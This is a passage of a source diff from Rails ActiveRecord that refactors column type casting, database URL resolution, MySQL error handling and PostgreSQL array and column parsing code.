- @type = simplified_type(sql_type)
- @default = extract_default(default)
- @primary = nil
- @coder = nil
+ @name = name
+ @sql_type = sql_type
+ @null = null
+ @limit = extract_limit(sql_type)
+ @precision = extract_precision(sql_type)
+ @scale = extract_scale(sql_type)
+ @type = simplified_type(sql_type)
+ @default = extract_default(default)
+ @default_function = nil
+ @primary = nil
+ @coder = nil
end
# Returns +true+ if the column is either of type string or text.
@@ -86,7 +87,7 @@ module ActiveRecord
end
end
- # Casts value (which is a String) to an appropriate instance.
+ # Casts value to an appropriate instance.
def type_cast(value)
return nil if value.nil?
return coder.load(value) if encoded?
@@ -94,7 +95,13 @@ module ActiveRecord
klass = self.class
case type
- when :string, :text then value
+ when :string, :text
+ case value
+ when TrueClass; "1"
+ when FalseClass; "0"
+ else
+ value.to_s
+ end
when :integer then klass.value_to_integer(value)
when :float then value.to_f
when :decimal then klass.value_to_decimal(value)
@@ -107,30 +114,6 @@ module ActiveRecord
end
end
- def type_cast_code(var_name)
- message = "Column#type_cast_code is deprecated in favor of using Column#type_cast only, " \
- "and it is going to be removed in future Rails versions."
- ActiveSupport::Deprecation.warn message
-
- klass = self.class.name
-
- case type
- when :string, :text then var_name
- when :integer then "#{klass}.value_to_integer(#{var_name})"
- when :float then "#{var_name}.to_f"
- when :decimal then "#{klass}.value_to_decimal(#{var_name})"
- when :datetime, :timestamp then "#{klass}.string_to_time(#{var_name})"
- when :time then "#{klass}.string_to_dummy_time(#{var_name})"
- when :date then "#{klass}.value_to_date(#{var_name})"
- when :binary then "#{klass}.binary_to_string(#{var_name})"
- when :boolean then "#{klass}.value_to_boolean(#{var_name})"
- when :hstore then "#{klass}.string_to_hstore(#{var_name})"
- when :inet, :cidr then "#{klass}.string_to_cidr(#{var_name})"
- when :json then "#{klass}.string_to_json(#{var_name})"
- else var_name
- end
- end
-
# Returns the human name of the column name.
#
# ===== Examples
@@ -143,17 +126,7 @@ module ActiveRecord
type_cast(default)
end
- # Used to convert from Strings to BLOBs
- def string_to_binary(value)
- self.class.string_to_binary(value)
- end
-
class << self
- # Used to convert from Strings to BLOBs
- def string_to_binary(value)
- value
- end
-
# Used to convert from BLOBs to Strings
def binary_to_string(value)
value
@@ -237,11 +210,19 @@ module ActiveRecord
end
end
- def new_time(year, mon, mday, hour, min, sec, microsec)
+ def new_time(year, mon, mday, hour, min, sec, microsec, offset = nil)
# Treat 0000-00-00 00:00:00 as nil.
return nil if year.nil? || (year == 0 && mon == 0 && mday == 0)
- Time.send(Base.default_timezone, year, mon, mday, hour, min, sec, microsec) rescue nil
+ if offset
+ time = Time.utc(year, mon, mday, hour, min, sec, microsec) rescue nil
+ return nil unless time
+
+ time -= offset
+ Base.default_timezone == :utc ? time : time.getlocal
+ else
+ Time.public_send(Base.default_timezone, year, mon, mday, hour, min, sec, microsec) rescue nil
+ end
end
def fast_string_to_date(string)
@@ -266,7 +247,7 @@ module ActiveRecord
time_hash = Date._parse(string)
time_hash[:sec_fraction] = microseconds(time_hash)
- new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction))
+ new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction, :offset))
end
end
@@ -306,7 +287,7 @@ module ActiveRecord
:text
when /blob/i, /binary/i
:binary
- when /char/i, /string/i
+ when /char/i
:string
when /boolean/i
:boolean
diff --git a/activerecord/lib/active_record/connection_adapters/connection_specification.rb b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
index 8bad7d0cf5..b79d1a4458 100644
--- a/activerecord/lib/active_record/connection_adapters/connection_specification.rb
+++ b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
@@ -13,41 +13,159 @@ module ActiveRecord
@config = original.config.dup
end
+ # Expands a connection string into a hash.
+ class ConnectionUrlResolver # :nodoc:
+
+ # == Example
+ #
+ # url = "postgresql://foo:bar@localhost:9000/foo_test?pool=5&timeout=3000"
+ # ConnectionUrlResolver.new(url).to_hash
+ # # => {
+ # "adapter" => "postgresql",
+ # "host" => "localhost",
+ # "port" => 9000,
+ # "database" => "foo_test",
+ # "username" => "foo",
+ # "password" => "bar",
+ # "pool" => "5",
+ # "timeout" => "3000"
+ # }
+ def initialize(url)
+ raise "Database URL cannot be empty" if url.blank?
+ @uri = URI.parse(url)
+ @adapter = @uri.scheme.gsub('-', '_')
+ @adapter = "postgresql" if @adapter == "postgres"
+
+ if @uri.opaque
+ @uri.opaque, @query = @uri.opaque.split('?', 2)
+ else
+ @query = @uri.query
+ end
+ end
+
+ # Converts the given URL to a full connection hash.
+ def to_hash
+ config = raw_config.reject { |_,value| value.blank? }
+ config.map { |key,value| config[key] = uri_parser.unescape(value) if value.is_a? String }
+ config
+ end
+
+ private
+
+ def uri
+ @uri
+ end
+
+ def uri_parser
+ @uri_parser ||= URI::Parser.new
+ end
+
+ # Converts the query parameters of the URI into a hash.
+ #
+ # "localhost?pool=5&reaping_frequency=2"
+ # # => { "pool" => "5", "reaping_frequency" => "2" }
+ #
+ # returns empty hash if no query present.
+ #
+ # "localhost"
+ # # => {}
+ def query_hash
+ Hash[(@query || '').split("&").map { |pair| pair.split("=") }]
+ end
+
+ def raw_config
+ if uri.opaque
+ query_hash.merge({
+ "adapter" => @adapter,
+ "database" => uri.opaque })
+ else
+ query_hash.merge({
+ "adapter" => @adapter,
+ "username" => uri.user,
+ "password" => uri.password,
+ "port" => uri.port,
+ "database" => database_from_path,
+ "host" => uri.host })
+ end
+ end
+
+ # Returns name of the database.
+ def database_from_path
+ if @adapter == 'sqlite3'
+ # 'sqlite3:/foo' is absolute, because that makes sense. The
+ # corresponding relative version, 'sqlite3:foo', is handled
+ # elsewhere, as an "opaque".
+
+ uri.path
+ else
+ # Only SQLite uses a filename as the "database" name; for
+ # anything else, a leading slash would be silly.
+
+ uri.path.sub(%r{^/}, "")
+ end
+ end
+ end
+
##
- # Builds a ConnectionSpecification from user input
+ # Builds a ConnectionSpecification from user input.
class Resolver # :nodoc:
- attr_reader :config, :klass, :configurations
+ attr_reader :configurations
- def initialize(config, configurations)
- @config = config
+ # Accepts a hash two layers deep, keys on the first layer represent
+ # environments such as "production". Keys must be strings.
+ def initialize(configurations)
@configurations = configurations
end
- def spec
- case config
- when nil
- raise AdapterNotSpecified unless defined?(Rails.env)
- resolve_string_connection Rails.env
- when Symbol, String
- resolve_string_connection config.to_s
- when Hash
- resolve_hash_connection config
+ # Returns a hash with database connection information.
+ #
+ # == Examples
+ #
+ # Full hash Configuration.
+ #
+ # configurations = { "production" => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } }
+ # Resolver.new(configurations).resolve(:production)
+ # # => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3"}
+ #
+ # Initialized with URL configuration strings.
+ #
+ # configurations = { "production" => "postgresql://localhost/foo" }
+ # Resolver.new(configurations).resolve(:production)
+ # # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+ #
+ def resolve(config)
+ if config
+ resolve_connection config
+ elsif env = ActiveRecord::ConnectionHandling::RAILS_ENV.call
+ resolve_symbol_connection env.to_sym
+ else
+ raise AdapterNotSpecified
end
end
- private
- def resolve_string_connection(spec) # :nodoc:
- hash = configurations.fetch(spec) do |k|
- connection_url_to_hash(k)
+ # Expands each key in @configurations hash into fully resolved hash
+ def resolve_all
+ config = configurations.dup
+ config.each do |key, value|
+ config[key] = resolve(value) if value
end
-
- raise(AdapterNotSpecified, "#{spec} database is not configured") unless hash
-
- resolve_hash_connection hash
+ config
end
- def resolve_hash_connection(spec) # :nodoc:
- spec = spec.symbolize_keys
+ # Returns an instance of ConnectionSpecification for a given adapter.
+ # Accepts a hash one layer deep that contains all connection information.
+ #
+ # == Example
+ #
+ # config = { "production" => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } }
+ # spec = Resolver.new(config).spec(:production)
+ # spec.adapter_method
+ # # => "sqlite3"
+ # spec.config
+ # # => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" }
+ #
+ def spec(config)
+ spec = resolve(config).symbolize_keys
raise(AdapterNotSpecified, "database configuration does not specify adapter") unless spec.key?(:adapter)
@@ -55,41 +173,97 @@ module ActiveRecord
begin
require path_to_adapter
rescue Gem::LoadError => e
- raise Gem::LoadError, "Specified '#{spec[:adapter]}' for database adapter, but the gem is not loaded. Add `gem '#{e.name}'` to your Gemfile."
+ raise Gem::LoadError, "Specified '#{spec[:adapter]}' for database adapter, but the gem is not loaded. Add `gem '#{e.name}'` to your Gemfile (and ensure its version is at the minimum required by ActiveRecord)."
rescue LoadError => e
raise LoadError, "Could not load '#{path_to_adapter}'. Make sure that the adapter in config/database.yml is valid. If you use an adapter other than 'mysql', 'mysql2', 'postgresql' or 'sqlite3' add the necessary adapter gem to the Gemfile.", e.backtrace
end
adapter_method = "#{spec[:adapter]}_connection"
-
ConnectionSpecification.new(spec, adapter_method)
end
- def connection_url_to_hash(url) # :nodoc:
- config = URI.parse url
- adapter = config.scheme
- adapter = "postgresql" if adapter == "postgres"
- spec = { :adapter => adapter,
- :username => config.user,
- :password => config.password,
- :port => config.port,
- :database => config.path.sub(%r{^/},""),
- :host => config.host }
-
- spec.reject!{ |_,value| value.blank? }
-
- uri_parser = URI::Parser.new
+ private
- spec.map { |key,value| spec[key] = uri_parser.unescape(value) if value.is_a?(String) }
+ # Returns fully resolved connection, accepts hash, string or symbol.
+ # Always returns a hash.
+ #
+ # == Examples
+ #
+ # Symbol representing current environment.
+ #
+ # Resolver.new("production" => {}).resolve_connection(:production)
+ # # => {}
+ #
+ # One layer deep hash of connection values.
+ #
+ # Resolver.new({}).resolve_connection("adapter" => "sqlite3")
+ # # => { "adapter" => "sqlite3" }
+ #
+ # Connection URL.
+ #
+ # Resolver.new({}).resolve_connection("postgresql://localhost/foo")
+ # # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+ #
+ def resolve_connection(spec)
+ case spec
+ when Symbol
+ resolve_symbol_connection spec
+ when String
+ resolve_string_connection spec
+ when Hash
+ resolve_hash_connection spec
+ end
+ end
- if config.query
- options = Hash[config.query.split("&").map{ |pair| pair.split("=") }].symbolize_keys
+ def resolve_string_connection(spec)
+ # Rails has historically accepted a string to mean either
+ # an environment key or a URL spec, so we have deprecated
+ # this ambiguous behaviour and in the future this function
+ # can be removed in favor of resolve_url_connection.
+ if configurations.key?(spec) || spec !~ /:/
+ ActiveSupport::Deprecation.warn "Passing a string to ActiveRecord::Base.establish_connection " \
+ "for a configuration lookup is deprecated, please pass a symbol (#{spec.to_sym.inspect}) instead"
+ resolve_symbol_connection(spec)
+ else
+ resolve_url_connection(spec)
+ end
+ end
- spec.merge!(options)
+ # Takes the environment such as `:production` or `:development`.
+ # This requires that the @configurations was initialized with a key that
+ # matches.
+ #
+ # Resolver.new("production" => {}).resolve_symbol_connection(:production)
+ # # => {}
+ #
+ def resolve_symbol_connection(spec)
+ if config = configurations[spec.to_s]
+ resolve_connection(config)
+ else
+ raise(AdapterNotSpecified, "'#{spec}' database is not configured. Available: #{configurations.keys.inspect}")
end
+ end
+ # Accepts a hash. Expands the "url" key that contains a
+ # URL database connection to a full connection
+ # hash and merges with the rest of the hash.
+ # Connection details inside of the "url" key win any merge conflicts
+ def resolve_hash_connection(spec)
+ if spec["url"] && spec["url"] !~ /^jdbc:/
+ connection_hash = resolve_string_connection(spec.delete("url"))
+ spec.merge!(connection_hash)
+ end
spec
end
+
+ # Takes a connection URL.
+ #
+ # Resolver.new({}).resolve_url_connection("postgresql://localhost/foo")
+ # # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+ #
+ def resolve_url_connection(url)
+ ConnectionUrlResolver.new(url).to_hash
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
index edeb338310..233af252d6 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
@@ -1,6 +1,6 @@
require 'active_record/connection_adapters/abstract_mysql_adapter'
-gem 'mysql2', '~> 0.3.10'
+gem 'mysql2', '~> 0.3.13'
require 'mysql2'
module ActiveRecord
@@ -18,6 +18,12 @@ module ActiveRecord
client = Mysql2::Client.new(config)
options = [config[:host], config[:username], config[:password], config[:database], config[:port], config[:socket], 0]
ConnectionAdapters::Mysql2Adapter.new(client, logger, options, config)
+ rescue Mysql2::Error => error
+ if error.message.include?("Unknown database")
+ raise ActiveRecord::NoDatabaseError.new(error.message, error)
+ else
+ raise
+ end
end
end
@@ -34,7 +40,7 @@ module ActiveRecord
def initialize(connection, logger, connection_options, config)
super
- @visitor = BindSubstitution.new self
+ @prepared_statements = false
configure_connection
end
@@ -77,6 +83,14 @@ module ActiveRecord
@connection.escape(string)
end
+ def quoted_date(value)
+ if value.acts_like?(:time) && value.respond_to?(:usec)
+ "#{super}.#{sprintf("%06d", value.usec)}"
+ else
+ super
+ end
+ end
+
# CONNECTION MANAGEMENT ====================================
def active?
@@ -207,7 +221,7 @@ module ActiveRecord
# Returns an array of arrays containing the field values.
# Order is the same as that returned by +columns+.
- def select_rows(sql, name = nil)
+ def select_rows(sql, name = nil, binds = [])
execute(sql, name).to_a
end
@@ -229,8 +243,7 @@ module ActiveRecord
alias exec_without_stmt exec_query
- # Returns an array of record hashes with the column names as keys and
- # column values as values.
+ # Returns an ActiveRecord::Result instance.
def select(sql, name = nil, binds = [])
exec_query(sql, name)
end
@@ -270,6 +283,10 @@ module ActiveRecord
def version
@version ||= @connection.info[:version].scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i }
end
+
+ def set_field_encoding field_name
+ field_name
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
index 1826d88500..e6aa2ba921 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
@@ -34,6 +34,12 @@ module ActiveRecord
default_flags |= Mysql::CLIENT_FOUND_ROWS if Mysql.const_defined?(:CLIENT_FOUND_ROWS)
options = [host, username, password, database, port, socket, default_flags]
ConnectionAdapters::MysqlAdapter.new(mysql, logger, options, config)
+ rescue Mysql::Error => error
+ if error.message.include?("Unknown database")
+ raise ActiveRecord::NoDatabaseError.new(error.message, error)
+ else
+ raise
+ end
end
end
@@ -160,12 +166,6 @@ module ActiveRecord
# QUOTING ==================================================
- def type_cast(value, column)
- return super unless value == true || value == false
-
- value ? 1 : 0
- end
-
def quote_string(string) #:nodoc:
@connection.quote(string)
end
@@ -213,9 +213,9 @@ module ActiveRecord
# DATABASE STATEMENTS ======================================
- def select_rows(sql, name = nil)
+ def select_rows(sql, name = nil, binds = [])
@connection.query_with_result = true
- rows = exec_query(sql, name).rows
+ rows = exec_query(sql, name, binds).rows
@connection.more_results && @connection.next_result # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped
rows
end
@@ -279,11 +279,7 @@ module ActiveRecord
end
def exec_query(sql, name = 'SQL', binds = [])
- # If the configuration sets prepared_statements:false, binds will
- # always be empty, since the bind variables will have been already
- # substituted and removed from binds by BindVisitor, so this will
- # effectively disable prepared statement usage completely.
- if binds.empty?
+ if without_prepared_statement?(binds)
result_set, affected_rows = exec_without_stmt(sql, name)
else
result_set, affected_rows = exec_stmt(sql, name, binds)
@@ -429,14 +425,19 @@ module ActiveRecord
if result
types = {}
+ fields = []
result.fetch_fields.each { |field|
+ field_name = field.name
+ fields << field_name
+
if field.decimals > 0
- types[field.name] = Fields::Decimal.new
+ types[field_name] = Fields::Decimal.new
else
- types[field.name] = Fields.find_type field
+ types[field_name] = Fields.find_type field
end
}
- result_set = ActiveRecord::Result.new(types.keys, result.to_a, types)
+
+ result_set = ActiveRecord::Result.new(fields, result.to_a, types)
result.free
else
result_set = ActiveRecord::Result.new([], [])
@@ -472,15 +473,17 @@ module ActiveRecord
def begin_db_transaction #:nodoc:
exec_query "BEGIN"
- rescue Mysql::Error
- # Transactions aren't supported
end
private
def exec_stmt(sql, name, binds)
cache = {}
- log(sql, name, binds) do
+ type_casted_binds = binds.map { |col, val|
+ [col, type_cast(val, col)]
+ }
+
+ log(sql, name, type_casted_binds) do
if binds.empty?
stmt = @connection.prepare(sql)
else
@@ -491,7 +494,7 @@ module ActiveRecord
end
begin
- stmt.execute(*binds.map { |col, val| type_cast(val, col) })
+ stmt.execute(*type_casted_binds.map { |_, val| val })
rescue Mysql::Error => e
# Older versions of MySQL leave the prepared statement in a bad
# place when an error occurs. To support older mysql versions, we
@@ -507,12 +510,12 @@ module ActiveRecord
cols = cache[:cols] ||= metadata.fetch_fields.map { |field|
field.name
}
+ metadata.free
end
result_set = ActiveRecord::Result.new(cols, stmt.to_a) if cols
affected_rows = stmt.affected_rows
- stmt.result_metadata.free if cols
stmt.free_result
stmt.close if binds.empty?
@@ -559,6 +562,14 @@ module ActiveRecord
def version
@version ||= @connection.server_info.scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i }
end
+
+ def set_field_encoding field_name
+ field_name.force_encoding(client_encoding)
+ if internal_enc = Encoding.default_internal
+ field_name = field_name.encode!(internal_enc)
+ end
+ field_name
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb b/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
index b7d24f2bb3..0b218f2bfd 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
@@ -2,6 +2,13 @@ module ActiveRecord
module ConnectionAdapters
class PostgreSQLColumn < Column
module ArrayParser
+
+ DOUBLE_QUOTE = '"'
+ BACKSLASH = "\\"
+ COMMA = ','
+ BRACKET_OPEN = '{'
+ BRACKET_CLOSE = '}'
+
private
# Loads pg_array_parser if available. String parsing can be
# performed quicker by a native extension, which will not create
@@ -12,18 +19,18 @@ module ActiveRecord
include PgArrayParser
rescue LoadError
def parse_pg_array(string)
- parse_data(string, 0)
+ parse_data(string)
end
end
- def parse_data(string, index)
- local_index = index
+ def parse_data(string)
+ local_index = 0
array = []
while(local_index < string.length)
case string[local_index]
- when '{'
+ when BRACKET_OPEN
local_index,array = parse_array_contents(array, string, local_index + 1)
- when '}'
+ when BRACKET_CLOSE
return array
end
local_index += 1
@@ -33,9 +40,9 @@ module ActiveRecord
end
def parse_array_contents(array, string, index)
- is_escaping = false
- is_quoted = false
- was_quoted = false
+ is_escaping = false
+ is_quoted = false
+ was_quoted = false
current_item = ''
local_index = index
@@ -47,29 +54,29 @@ module ActiveRecord
else
if is_quoted
case token
- when '"'
+ when DOUBLE_QUOTE
is_quoted = false
was_quoted = true
- when "\\"
+ when BACKSLASH
is_escaping = true
else
current_item << token
end
else
case token
- when "\\"
+ when BACKSLASH
is_escaping = true
- when ','
+ when COMMA
add_item_to_array(array, current_item, was_quoted)
current_item = ''
was_quoted = false
- when '"'
+ when DOUBLE_QUOTE
is_quoted = true
- when '{'
+ when BRACKET_OPEN
internal_items = []
local_index,internal_items = parse_array_contents(internal_items, string, local_index + 1)
array.push(internal_items)
- when '}'
+ when BRACKET_CLOSE
add_item_to_array(array, current_item, was_quoted)
return local_index,array
else
@@ -84,8 +91,9 @@ module ActiveRecord
end
def add_item_to_array(array, current_item, quoted)
- if current_item.length == 0
- elsif !quoted && current_item == 'NULL'
+ return if !quoted && current_item.length == 0
+
+ if !quoted && current_item == 'NULL'
array.push nil
else
array.push current_item
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb b/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
index a73f0ac57f..551a9289c3 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
@@ -17,8 +17,8 @@ module ActiveRecord
return string unless String === string
case string
- when 'infinity'; 1.0 / 0.0
- when '-infinity'; -1.0 / 0.0
+ when 'infinity'; Float::INFINITY
+ when '-infinity'; -Float::INFINITY
when / BC$/
super("-" + string.sub(/ BC$/, ""))
else
@@ -35,11 +35,11 @@ module ActiveRecord
end
end
- def hstore_to_string(object)
+ def hstore_to_string(object, array_member = false)
if Hash === object
- object.map { |k,v|
- "#{escape_hstore(k)}=>#{escape_hstore(v)}"
- }.join ','
+ string = object.map { |k, v| "#{escape_hstore(k)}=>#{escape_hstore(v)}" }.join(',')
+ string = escape_hstore(string) if array_member
+ string
else
object
end
@@ -49,10 +49,10 @@ module ActiveRecord
if string.nil?
nil
elsif String === string
- Hash[string.scan(HstorePair).map { |k,v|
+ Hash[string.scan(HstorePair).map { |k, v|
v = v.upcase == 'NULL' ? nil : v.gsub(/\A"(.*)"\Z/m,'\1').gsub(/\\(.)/, '\1')
k = k.gsub(/\A"(.*)"\Z/m,'\1').gsub(/\\(.)/, '\1')
- [k,v]
+ [k, v]
}]
else
string
@@ -67,7 +67,7 @@ module ActiveRecord
end
end
- def array_to_string(value, column, adapter, should_be_quoted = false)
+ def array_to_string(value, column, adapter)
casted_values = value.map do |val|
if String === val
if val == "NULL"
@@ -100,7 +100,11 @@ module ActiveRecord
if string.nil?
nil
elsif String === string
- IPAddr.new(string)
+ begin
+ IPAddr.new(string)
+ rescue ArgumentError
+ nil
+ end
else
string
end
@@ -115,7 +119,7 @@ module ActiveRecord
end
def string_to_array(string, oid)
- parse_pg_array(string).map{|val| oid.type_cast val}
+ parse_pg_array(string).map {|val| type_cast_array(oid, val)}
end
private
@@ -138,12 +142,24 @@ module ActiveRecord
end
end
+ ARRAY_ESCAPE = "\\" * 2 * 2 # escape the backslash twice for PG arrays
+
def quote_and_escape(value)
case value
- when "NULL"
+ when "NULL", Numeric
value
else
- "\"#{value.gsub(/"/,"\\\"")}\""
+ value = value.gsub(/\\/, ARRAY_ESCAPE)
+ value.gsub!(/"/,"\\\"")
+ "\"#{value}\""
+ end
+ end
+
+ def type_cast_array(oid, value)
+ if ::Array === value
+ value.map {|item| type_cast_array(oid, item)}
+ else
+ oid.type_cast value
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/column.rb b/activerecord/lib/active_record/connection_adapters/postgresql/column.rb
new file mode 100644
index 0000000000..2cbcd5fd50
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/column.rb
@@ -0,0 +1,158 @@
+module ActiveRecord
+ module ConnectionAdapters
+ # PostgreSQL-specific extensions to column definitions in a table.
+ class PostgreSQLColumn < Column #:nodoc:
+ attr_accessor :array
+
+ def initialize(name, default, oid_type, sql_type = nil, null = true)
+ @oid_type = oid_type
+ default_value = self.class.extract_value_from_default(default)
+
+ if sql_type =~ /\[\]$/
+ @array = true
+ super(name, default_value, sql_type[0..sql_type.length - 3], null)
+ else
+ @array = false
+ super(name, default_value, sql_type, null)
+ end
+
+ @default_function = default if has_default_function?(default_value, default)
+ end
+
+ def number?
+ !array && super
+ end
+
+ def text?
+ !array && super
+ end
+
+ # :stopdoc:
+ class << self
+ include ConnectionAdapters::PostgreSQLColumn::Cast
+ include ConnectionAdapters::PostgreSQLColumn::ArrayParser
+ attr_accessor :money_precision
+ end
+ # :startdoc:
+
+ # Extracts the value from a PostgreSQL column default definition.
+ def self.extract_value_from_default(default)
+ # This is a performance optimization for Ruby 1.9.2 in development.
+ # If the value is nil, we return nil straight away without checking
+ # the regular expressions. If we check each regular expression,
+ # Regexp#=== will call NilClass#to_str, which will trigger
+ # method_missing (defined by whiny nil in ActiveSupport) which
+ # makes this method very very slow.
+ return default unless default
+
+ case default
+ when /\A'(.*)'::(num|date|tstz|ts|int4|int8)range\z/m
+ $1
+ # Numeric types
+ when /\A\(?(-?\d+(\.\d*)?\)?(::bigint)?)\z/
+ $1
+ # Character types
+ when /\A\(?'(.*)'::.*\b(?:character varying|bpchar|text)\z/m
+ $1.gsub(/''/, "'")
+ # Binary data types
+ when /\A'(.*)'::bytea\z/m
+ $1
+ # Date/time types
+ when /\A'(.+)'::(?:time(?:stamp)? with(?:out)? time zone|date)\z/
+ $1
+ when /\A'(.*)'::interval\z/
+ $1
+ # Boolean type
+ when 'true'
+ true
+ when 'false'
+ false
+ # Geometric types
+ when /\A'(.*)'::(?:point|line|lseg|box|"?path"?|polygon|circle)\z/
+ $1
+ # Network address types
+ when /\A'(.*)'::(?:cidr|inet|macaddr)\z/
+ $1
+ # Bit string types
+ when /\AB'(.*)'::"?bit(?: varying)?"?\z/
+ $1
+ # XML type
+ when /\A'(.*)'::xml\z/m
+ $1
+ # Arrays
+ when /\A'(.*)'::"?\D+"?\[\]\z/
+ $1
+ # Hstore
+ when /\A'(.*)'::hstore\z/
+ $1
+ # JSON
+ when /\A'(.*)'::json\z/
+ $1
+ # Object identifier types
+ when /\A-?\d+\z/
+ $1
+ else
+ # Anything else is blank, some user type, or some function
+ # and we can't know the value of that, so return nil.
+ nil
+ end
+ end
+
+ def type_cast_for_write(value)
+ if @oid_type.respond_to?(:type_cast_for_write)
+ @oid_type.type_cast_for_write(value)
+ else
+ super
+ end
+ end
+
+ def type_cast(value)
+ return if value.nil?
+ return super if encoded?
+
+ @oid_type.type_cast value
+ end
+
+ def accessor
+ @oid_type.accessor
+ end
+
+ private
+
+ def has_default_function?(default_value, default)
+ !default_value && (%r{\w+\(.*\)} === default)
+ end
+
+ def extract_limit(sql_type)
+ case sql_type
+ when /^bigint/i; 8
+ when /^smallint/i; 2
+ when /^timestamp/i; nil
+ else super
+ end
+ end
+
+ # Extracts the scale from PostgreSQL-specific data types.
+ def extract_scale(sql_type)
+ # Money type has a fixed scale of 2.
+ sql_type =~ /^money/ ? 2 : super
+ end
+
+ # Extracts the precision from PostgreSQL-specific data types.
+ def extract_precision(sql_type)
+ if sql_type == 'money'
+ self.class.money_precision
+ elsif sql_type =~ /timestamp/i
+ $1.to_i if sql_type =~ /\((\d+)\)/
+ else
+ super
+ end
+ end
+
+ # Maps PostgreSQL-specific data types to logical Rails types.
+ def simplified_type(field_type)
+ @oid_type.simplified_type(field_type) || super
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
index 9b5170f657..168b08ba75 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
@@ -44,10 +44,32 @@ module ActiveRecord
end
end
+ def select_value(arel, name = nil, binds = [])
+ arel, binds = binds_from_relation arel, binds
+ sql = to_sql(arel, binds)
+ execute_and_clear(sql, name, binds) do |result|
+ result.getvalue(0, 0) if result.ntuples > 0 && result.nfields > 0
+ end
+ end
+
+ def select_values(arel, name = nil)
+ arel, binds = binds_from_relation arel, []
+ sql = to_sql(arel, binds)
+ execute_and_clear(sql, name, binds) do |result|
+ if result.nfields > 0
+ result.column_values(0)
+ else
+ []
+ end
+ end
+ end
+
# Executes a SELECT query and returns an array of rows. Each row is an
# array of field values.
- def select_rows(sql, name = nil)
- select_raw(sql, name).last
+ def select_rows(sql, name = nil, binds = [])
+ execute_and_clear(sql, name, binds) do |result|
+ result.values
+ end
end
# Executes an INSERT query and returns the new record's ID
@@ -134,34 +156,20 @@ module ActiveRecord
end
def exec_query(sql, name = 'SQL', binds = [])
- log(sql, name, binds) do
- result = binds.empty? ? exec_no_cache(sql, binds) :
- exec_cache(sql, binds)
-
+ execute_and_clear(sql, name, binds) do |result|
types = {}
- result.fields.each_with_index do |fname, i|
+ fields = result.fields
+ fields.each_with_index do |fname, i|
ftype = result.ftype i
fmod = result.fmod i
- types[fname] = OID::TYPE_MAP.fetch(ftype, fmod) { |oid, mod|
- warn "unknown OID: #{fname}(#{oid}) (#{sql})"
- OID::Identity.new
- }
+ types[fname] = get_oid_type(ftype, fmod, fname)
end
-
- ret = ActiveRecord::Result.new(result.fields, result.values, types)
- result.clear
- return ret
+ ActiveRecord::Result.new(fields, result.values, types)
end
end
def exec_delete(sql, name = 'SQL', binds = [])
- log(sql, name, binds) do
- result = binds.empty? ? exec_no_cache(sql, binds) :
- exec_cache(sql, binds)
- affected = result.cmd_tuples
- result.clear
- affected
- end
+ execute_and_clear(sql, name, binds) {|result| result.cmd_tuples }
end
alias :exec_update :exec_delete
@@ -217,25 +225,6 @@ module ActiveRecord
def rollback_db_transaction
execute "ROLLBACK"
end
-
- def outside_transaction?
- message = "#outside_transaction? is deprecated. This method was only really used " \
- "internally, but you can use #transaction_open? instead."
- ActiveSupport::Deprecation.warn message
- @connection.transaction_status == PGconn::PQTRANS_IDLE
- end
-
- def create_savepoint
- execute("SAVEPOINT #{current_savepoint_name}")
- end
-
- def rollback_to_savepoint
- execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
- end
-
- def release_savepoint
- execute("RELEASE SAVEPOINT #{current_savepoint_name}")
- end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
index 1be116ce10..540b3694b5 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
@@ -6,9 +6,10 @@ module ActiveRecord
module OID
class Type
def type; end
+ def simplified_type(sql_type); type end
- def type_cast_for_write(value)
- value
+ def infinity(options = {})
+ ::Float::INFINITY * (options[:negative] ? -1 : 1)
end
end
@@ -18,9 +19,33 @@ module ActiveRecord
end
end
+ class String < Type
+ def type; :string end
+
+ def type_cast(value)
+ return if value.nil?
+
+ value.to_s
+ end
+ end
+
